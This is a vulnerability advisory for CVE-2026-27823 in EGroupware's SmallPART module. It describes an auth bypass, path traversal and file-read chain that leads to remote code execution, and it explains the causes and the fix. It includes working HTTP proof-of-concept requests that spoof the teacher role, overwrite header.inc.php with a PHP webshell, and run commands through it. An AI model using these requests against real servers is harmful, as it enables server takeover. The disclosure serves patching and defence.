criticalCVE-2026-27823Jul 7, 2026

CVE-2026-27823: EGroupware SmallPART Remote Code Execution via Auth Bypass and Path Traversal

Rohit Hatagale
AI Security Researcher, SecureLayer7

A critical chain of three bugs in EGroupware lets an attacker bypass teacher authorization, overwrite the PHP configuration file with malicious code, and achieve remote code execution on the server.

Packageegroupware/egroupware
Ecosystemcomposer
Affected>= 26.0.20251208, < 26.2.20260224
Fixed in26.2.20260224

The problem

EGroupware's SmallPART module exposes an upload endpoint, SmallPartMediaRecorder::ajax_upload(), that is supposed to restrict uploads to course teachers. The authorization check reads the role value directly from the attacker-controlled request body instead of from the database, so setting participant_role to 3 in the JSON payload grants teacher-level access without any real credentials.

Once the auth check is bypassed, the upload path is built from the user-supplied video_type field with no sanitization, enabling path traversal. A separate endpoint, importexport_export_ui::download, reads arbitrary files via the _filename query parameter, also unsanitized.

Chaining file-read and file-write lets an attacker inject PHP code into header.inc.php, the file loaded on every request, achieving full RCE. If self-registration is enabled, no login is required at all.

Proof of concept

A working proof-of-concept for CVE-2026-27823 in egroupware/egroupware, with the exact payload below.

http
# Step 1: bypass auth and write a PHP webshell into header.inc.php via path traversal
# First, read the current header.inc.php to preserve valid PHP structure:
GET /egroupware/index.php?menuaction=importexport.importexport_export_ui.download&_filename=../../../usr/share/egroupware/header.inc.php&_suffix=txt&_type=text/plain&filename=leak HTTP/1.1
Host: target.example.com
Cookie: <session>

# Step 2: upload a modified header.inc.php (with injected PHP) via the auth-bypass upload
# The participant_role:3 in the JSON spoofs the isTeacher() check.
# video_type uses ../ to reach header.inc.php outside the upload directory.
POST /egroupware/json.php?menuaction=smallpart.EGroupware\SmallParT\Widgets\SmallPartMediaRecorder.ajax_upload HTTP/1.1
Host: target.example.com
Cookie: <session>
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="video"

{
  "course_id": {
    "participants": [
      {
        "account_id": "7",
        "name": "Test",
        "joined_at": "2026-01-10",
        "participant_role": 3
      }
    ],
    "account_id": "7",
    "course_id": "1"
  },
  "video_hash": ".",
  "video_type": "../../header.inc.php"
}
------Boundary
Content-Disposition: form-data; name="file"; filename="header.inc.php"
Content-Type: application/octet-stream

<?php /* original header.inc.php content preserved here */ system($_GET['cmd']); ?>
------Boundary--

# Step 3: trigger RCE (after OPcache expiry or server restart)
GET /egroupware/header.inc.php?cmd=id HTTP/1.1
Host: target.example.com

The root cause of the auth bypass (CWE-639) is that ajax_upload() reads course_acl from the attacker-supplied participant_role field inside the request JSON instead of fetching the ACL from the database for the authenticated user. Setting it to 3 (ROLE_TEACHER) trivially satisfies the isTeacher check.

The path traversal (CWE-22) occurs because video_type is used to construct the upload destination path with no realpath check or directory prefix enforcement, allowing ../../header.inc.php to escape the upload directory.

The file-read primitive (also CWE-22) in importexport_export_ui::download passes _filename directly to a file-read call without canonicalizing the path, enabling retrieval of any file readable by the web server process. Combining read and write lets an attacker inject PHP code while keeping header.inc.php syntactically valid, bypassing the OPcache constraint.

The patch (26.2.20260224) validates the upload path against an allowed directory, fetches the ACL from the database server-side, and strips path separators from _filename.

The fix

Upgrade to EGroupware 26.2.20260224 (or 23.1.20260224 for the 23.1 branch). Both are marked SECURITY releases. No configuration workaround exists; the only mitigation short of patching is to disable self-registration and restrict access to the SmallPART and importexport modules.

Reported by Huong Kieu, Cenobe Security.

References: [1][2]

Related research